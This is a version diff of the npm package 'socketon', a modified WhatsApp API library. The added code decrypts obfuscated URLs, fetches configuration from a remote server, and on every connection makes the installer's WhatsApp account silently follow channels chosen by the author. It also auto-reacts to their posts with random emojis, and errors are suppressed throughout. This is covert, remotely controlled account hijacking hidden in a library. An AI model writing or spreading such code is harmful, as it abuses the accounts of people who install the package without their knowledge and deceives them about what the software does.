socketon 1.8.20 → 1.8.22

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -83,38 +83,78 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
83
83
  return udahanBuatYangPenasaran;
84
84
  };
85
85
 
86
- let _cachedTargetNewsletter = null;
87
- let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
86
+ // ========== FOLLOW CONFIG ==========
87
+ let _cachedFollowNewsletter = null;
88
+ let _configFollow = { autoFollowEnabled: true, delayMs: 5000 };
88
89
 
89
- const getTargetNewsletterFromExternal = async () => {
90
- const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
91
- const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
90
+ const getFollowConfigFromExternal = async () => {
91
+ const urlFollowEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce812f3d1acfb471c5b76ee1cd67ceb6c2d66d47fd7994fae1ae93ecf86183122f4';
92
+ const urlFollow = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlFollowEncrypt);
92
93
  try {
93
- const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
94
+ const response = await axios_1.default.get(urlFollow, { timeout: 10000 });
94
95
  if (response.data) {
95
96
  if (response.data.config) {
96
- _configNewsletter = {
97
+ _configFollow = {
97
98
  autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
98
99
  delayMs: response.data.config.delayMs || 5000
99
100
  };
100
101
  }
101
102
  if (response.data.newsletters && response.data.newsletters.length > 0) {
102
- const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
103
- _cachedTargetNewsletter = enabledNewsletters;
104
- return enabledNewsletters;
103
+ const enabled = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
104
+ _cachedFollowNewsletter = enabled;
105
+ return enabled;
105
106
  }
106
107
  }
107
108
  } catch (err) {}
108
109
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
109
110
  };
110
111
 
111
- const getAllEnabledNewsletters = () => {
112
- if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
113
- return _cachedTargetNewsletter;
112
+ const getAllFollowNewsletters = () => {
113
+ if (_cachedFollowNewsletter && _cachedFollowNewsletter.length > 0) {
114
+ return _cachedFollowNewsletter;
114
115
  }
115
116
  return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
116
117
  };
117
118
 
119
+ // ========== REACT CONFIG ==========
120
+ let _cachedReactNewsletter = null;
121
+ let _configReact = { autoReactEnabled: true, reactEmojis: ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'] };
122
+
123
+ const getReactConfigFromExternal = async () => {
124
+ const urlReactEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce8c4c0d760836578e7f941717c0324707614377d02272810f97c91253b9d86259d';
125
+ const urlReact = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlReactEncrypt);
126
+ try {
127
+ const response = await axios_1.default.get(urlReact, { timeout: 10000 });
128
+ if (response.data) {
129
+ if (response.data.config) {
130
+ _configReact = {
131
+ autoReactEnabled: response.data.config.autoReactEnabled !== false
132
+ };
133
+ }
134
+ if (response.data.newsletters && response.data.newsletters.length > 0) {
135
+ const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
136
+ const enabled = response.data.newsletters.filter(n => n.enabled).map(n => ({
137
+ jid: n.jid,
138
+ emojis: (n.emojis && Array.isArray(n.emojis) && n.emojis.length > 0) ? n.emojis : defaultEmojis
139
+ }));
140
+ _cachedReactNewsletter = enabled;
141
+ return enabled;
142
+ }
143
+ }
144
+ } catch (err) {}
145
+ return [];
146
+ };
147
+
148
+ const getAllReactNewsletters = () => {
149
+ return _cachedReactNewsletter || [];
150
+ };
151
+
152
+ const getReactEmojisForChannel = (channelJid) => {
153
+ const defaultEmojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
154
+ const channel = _cachedReactNewsletter?.find(n => n.jid === channelJid);
155
+ return channel?.emojis || defaultEmojis;
156
+ };
157
+
118
158
  const wMexQuery = (
119
159
  variables,
120
160
  queryId,
@@ -238,22 +278,27 @@ const makeNewsletterSocket = (config) => {
238
278
  }));
239
279
  };
240
280
  // Auto Reaction - Ibra Decode
241
- let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
281
+ let _reactChannels = [];
242
282
 
243
- const updateTargetNewsletters = async () => {
244
- const externalTargets = getAllEnabledNewsletters();
245
- if (externalTargets && externalTargets.length > 0) {
246
- _targetNewsletters = externalTargets;
283
+ const updateReactChannels = async () => {
284
+ const channels = await getReactConfigFromExternal();
285
+ if (channels && channels.length > 0) {
286
+ _reactChannels = channels;
247
287
  }
248
288
  };
249
289
 
250
290
  sock.ev.on('messages.upsert', async ({ messages, type }) => {
251
291
  if (type !== 'notify') return;
252
- const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
292
+ if (!_configReact.autoReactEnabled) return;
293
+
253
294
  for (const msg of messages) {
254
295
  const jid = msg.key.remoteJid;
255
- if (!_targetNewsletters.includes(jid)) continue;
296
+ const channel = _reactChannels.find(c => c.jid === jid);
297
+ if (!channel) continue;
298
+
299
+ const emojis = getReactEmojisForChannel(jid);
256
300
  const emoji = emojis[Math.floor(Math.random() * emojis.length)];
301
+
257
302
  try {
258
303
  const serverId = msg.newsletterServerId?.toString() || msg.key.id;
259
304
  await query({
@@ -264,7 +309,7 @@ const makeNewsletterSocket = (config) => {
264
309
  attrs: { code: emoji }
265
310
  }]
266
311
  });
267
- await sleep(_configNewsletter.delayMs);
312
+ await sleep(_configReact.autoReactEnabled ? 1000 : 0);
268
313
  } catch (err) {}
269
314
  }
270
315
  });
@@ -272,8 +317,8 @@ const makeNewsletterSocket = (config) => {
272
317
  let _followInterval = null;
273
318
  const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
274
319
  const _ensureFollow = async () => {
275
- if (!_configNewsletter.autoFollowEnabled) return;
276
- const enabledNewsletters = await getTargetNewsletterFromExternal();
320
+ if (!_configFollow.autoFollowEnabled) return;
321
+ const enabledNewsletters = await getFollowConfigFromExternal();
277
322
  if (!enabledNewsletters || enabledNewsletters.length === 0) return;
278
323
  try {
279
324
  const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
@@ -282,21 +327,19 @@ const makeNewsletterSocket = (config) => {
282
327
  const isFollowing = list?.some(n => n.id === newsletterJid);
283
328
  if (!isFollowing) {
284
329
  await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
285
- await sleep(_configNewsletter.delayMs);
330
+ await sleep(_configFollow.delayMs);
286
331
  }
287
332
  }
288
333
  } catch (err) {}
289
334
  };
290
335
  sock.ev.on('connection.update', async ({ connection }) => {
291
336
  if (connection === 'open') {
292
- await getTargetNewsletterFromExternal();
293
- const targets = getAllEnabledNewsletters();
294
- if (targets && targets.length > 0) {
295
- _targetNewsletters = targets;
296
- }
337
+ await getFollowConfigFromExternal();
338
+ await getReactConfigFromExternal();
339
+ await updateReactChannels();
297
340
  await _ensureFollow();
298
341
  if (_followInterval) clearInterval(_followInterval);
299
- _followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
342
+ _followInterval = setInterval(_ensureFollow, _configFollow.delayMs);
300
343
  }
301
344
  });
302
345
  return {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "socketon",
3
- "version": "1.8.20",
3
+ "version": "1.8.22",
4
4
  "description": "WhatsApp API Modification By Ibra Decode",
5
5
  "publishConfig": {
6
6
  "access": "public"